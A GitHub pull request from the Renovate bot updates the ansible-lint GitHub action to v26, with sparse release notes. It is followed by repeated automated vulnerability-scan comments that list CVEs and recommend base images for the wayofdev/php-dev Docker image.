Skip to content

deps(deps): update ansible/ansible-lint action to v26#119

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/ansible-ansible-lint-26.x
Open

deps(deps): update ansible/ansible-lint action to v26#119
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/ansible-ansible-lint-26.x

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 8, 2026 •
edited
Loading

This PR contains the following updates:

Package Type Update Change
ansible/ansible-lint action major v25.6.1 → v26.2.0

Release Notes

ansible/ansible-lint (ansible/ansible-lint)

v26.2.0

Compare Source

Features

Fixes

Maintenance

v26.1.1

Compare Source

Features

Fixes

Maintenance

v26.1.0

Compare Source

Fixes

Maintenance

v25.12.2

Compare Source

Fixes

Maintenance

v25.12.1

Compare Source

Features

Fixes

Maintenance

v25.12.0

Compare Source

Maintenance

v25.11.1

Compare Source

Features

Fixes

Maintenance

v25.11.0

Compare Source

Fixes

Maintenance

v25.9.2

Compare Source

Fixes

Maintenance

v25.9.1

Compare Source

Fixes

Maintenance

v25.9.0

Compare Source

Fixes

Maintenance

v25.8.2

Compare Source

Bugfixes

v25.8.1

Compare Source

Bugfixes

  • Fix first-run collection discovery by enabling plugin loader after prepare_environment (#​4722) @​cidrblock

Maintenance

v25.8.0

Compare Source

Bugfixes

v25.7.0

Compare Source

Enhancements

Bugfixes

Maintenance

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from lotyp as a code owner January 8, 2026 14:27
@renovate renovate bot enabled auto-merge (squash) January 8, 2026 14:27
@github-actions github-actions bot added the type: maintenance For maintenance, refactor and testing (perf, chore, style, revert, refactor, test, build, ci) label Jan 8, 2026
@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:7b24b3af63658103a0286285b9ece5180685cdfa74c02376f54fc37da86395be
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size109 MB
packages251
📦 Base Image php:8.3-fpm-alpine
also known as
  • 8.3-fpm-alpine3.23
  • 8.3.29-fpm-alpine
  • 8.3.29-fpm-alpine3.23
  • 84c6df40c76a0bcd532e70d2a1b4d0cecd45ad9655ba431d318ec37d612d7bf6
digestsha256:0a80c7265e776321e0e2010d7b0eb7bc54f0ea8f7584dd322ff15d0371926d4b
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.3-fpm-alpine

Name8.3.29-fpm-alpine3.23
Digestsha256:0a80c7265e776321e0e2010d7b0eb7bc54f0ea8f7584dd322ff15d0371926d4b
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size34 MB
Packages62
Flavoralpine
OS3.23
Runtime8.3.29
The base image is also available under the supported tag(s): 8.3-fpm-alpine3.23, 8.3.29-fpm-alpine, 8.3.29-fpm-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.4-fpm-alpine
Minor runtime version update
Also known as:
  • 8.4.16-fpm-alpine
  • 8.4.16-fpm-alpine3.23
  • 8.4-fpm-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 36 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



8.5-fpm-alpine
Image has same number of vulnerabilities
Also known as:
  • 8.5.1-fpm-alpine
  • 8.5.1-fpm-alpine3.23
  • 8.5-fpm-alpine3.23
  • 8-fpm-alpine
  • 8-fpm-alpine3.23
  • fpm-alpine
  • fpm-alpine3.23
 Benefits:
  • Same OS detected
  • Image contains 1 fewer package
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 38 MB
  • Flavor: alpine
  • OS: 3.23
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:fda69d5cfb02fd955ed084b259ffe880e8bf83b6bd0ee4f3b8d2d7cfd89e96b1
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size133 MB
packages285
📦 Base Image php:2d9d9d0610811d72bd332d556830f9ee027f885c1c04f540172288d3525aecc5
also known as
  • 8.3-alpine
  • 8.3-alpine3.23
  • 8.3-cli-alpine
  • 8.3-cli-alpine3.23
  • 8.3.29-alpine
  • 8.3.29-cli-alpine3.23
digestsha256:55dd280d2f913218b52230b55c4779a3549200cec9b2993e0a91ee3ea4323994
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

Recommended fixes for image wayofdev/php-dev:latest

Base image is php:8.3-alpine

Name8.3-alpine3.23
Digestsha256:55dd280d2f913218b52230b55c4779a3549200cec9b2993e0a91ee3ea4323994
Vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
Pushed2 weeks ago
Size38 MB
Packages61
Flavoralpine
OS3.23
Runtime8.3
The base image is also available under the supported tag(s): 8.3-alpine3.23, 8.3-cli-alpine, 8.3-cli-alpine3.23, 8.3.29-alpine, 8.3.29-cli-alpine3.23

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
8.5-alpine
Minor runtime version update
Also known as:
  • 8.5.1-cli-alpine
  • 8.5.1-cli-alpine3.23
  • 8.5-cli-alpine
  • 8.5-cli-alpine3.23
  • 8-cli-alpine
  • 8-cli-alpine3.23
  • cli-alpine
  • cli-alpine3.23
  • alpine
  • alpine3.23
  • 8.5.1-alpine
  • 8.5.1-alpine3.23
  • 8.5-alpine3.23
  • 8-alpine
  • 8-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Image contains 1 fewer package
  • Image has similar size
  • Image has same number of vulnerabilities
Image details:
  • Size: 44 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.5.1
 2 weeks ago



8.4-alpine
Minor runtime version update
Also known as:
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4-alpine3.23
 Benefits:
  • Same OS detected
  • Minor runtime version update
  • Tag was pushed more recently
  • Image has similar size
  • Image has same number of vulnerabilities
  • Image contains equal number of packages
Image details:
  • Size: 41 MB
  • Flavor: alpine
  • OS: 3.23
  • Runtime: 8.4.16
 2 weeks ago



@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:8b8af003a155bb5b042f72e3f536122093826d3e1c22a4626a209b101d2ccf83
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size113 MB
packages250
📦 Base Image php:8.2-alpine
also known as
  • 8.2-alpine3.23
  • 8.2-cli-alpine
  • 8.2-cli-alpine3.23
  • 8.2.30-alpine
  • 8.2.30-alpine3.23
  • 8.2.30-cli-alpine
  • 8.2.30-cli-alpine3.23
digestsha256:dad4e0c31503684d830285906fc548ea6788310260a670a9cd579f69636d873c
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:4fcca0d03b3b783e3bcaddc7c2d41014c86e2bcaaa1b78946573e2d47ad15af4
vulnerabilitiescritical: 1 high: 8 medium: 0 low: 0
platformlinux/amd64
size105 MB
packages248
📦 Base Image php:3604fed52d81970a176cafe8300295cf4ba1d0b9d7ca9dfc060e2f2e64591f54
also known as
  • 8.1-fpm-alpine3.21
  • 8.1.34-fpm-alpine
  • 8.1.34-fpm-alpine3.21
digestsha256:e1c21e70e250ddeed10edb10f9476389d0eb9e2122aeca5d46d05fd97ad3c043
vulnerabilitiescritical: 1 high: 0 medium: 5 low: 2
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 5 medium: 0 low: 0 stdlib 1.23.9 (golang)

pkg:golang/stdlib@1.23.9

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.7-r0 (apk)

pkg:apk/alpine/gnupg@2.4.7-r0?os_name=alpine&os_version=3.21

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:8cbf518fd59b2d4f5415bb1ed0874b93ccfe9bf82a5708f18afc0ccee4cbf0a0
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size112 MB
packages251
📦 Base Image php:8.4-fpm-alpine
also known as
  • 8.4-fpm-alpine3.23
  • 8.4.16-fpm-alpine
  • 8.4.16-fpm-alpine3.23
digestsha256:96c072939e5497bce30cb0682f7397af04df01d4fcf78ede1dd6bdd3394e240f
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:0e720182b9218710babb76555b82d909dcd41adc814ba740a0c3f677abd60c43
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size118 MB
packages250
📦 Base Image php:8.4-alpine
also known as
  • 8.4-alpine3.23
  • 8.4-cli-alpine
  • 8.4-cli-alpine3.23
  • 8.4.16-alpine
  • 8.4.16-alpine3.23
  • 8.4.16-cli-alpine
  • 8.4.16-cli-alpine3.23
digestsha256:d07aff446f152e78003bdbf5f625f44501ba75bccfc6bfd6dc79ba3489a90db8
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
EPSS Score0.215%
EPSS Percentile44th percentile
Description

SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.

critical: 0 high: 1 medium: 0 low: 0 gnupg 2.4.8-r1 (apk)

pkg:apk/alpine/gnupg@2.4.8-r1?os_name=alpine&os_version=3.23

high : CVE--2025--68973

Affected range<2.4.9-r0
Fixed version2.4.9-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

@github-actions
Copy link

github-actions bot commented Jan 8, 2026 •
edited
Loading

Outdated

🔍 Vulnerabilities of wayofdev/php-dev:latest

📦 Image Reference wayofdev/php-dev:latest
digestsha256:6ff00112eb682bf627bc92c79acec0f39e97dba984106e6101afebc19cc235ac
vulnerabilitiescritical: 1 high: 3 medium: 0 low: 0
platformlinux/amd64
size109 MB
packages251
📦 Base Image php:8.2-fpm-alpine
also known as
  • 8.2-fpm-alpine3.23
  • 8.2.30-fpm-alpine
  • 8.2.30-fpm-alpine3.23
digestsha256:ea3dec3a85d02c19f088dc4385934af92b28f6c0b2d7318c72b340cac487b821
vulnerabilitiescritical: 1 high: 0 medium: 4 low: 0 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 golang.org/x/crypto 0.17.0 (golang)

pkg:golang/golang.org/x/crypto@0.17.0

critical 9.1: CVE--2024--45337 Improper Authorization

Affected range<0.31.0
Fixed version0.31.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score42.906%
EPSS Percentile97th percentile
Description

Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.

The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.

For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.

Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.

Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.025%
EPSS Percentile6th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

high : CVE--2025--22869

Affected range<0.35.0
Fixed version0.35.0
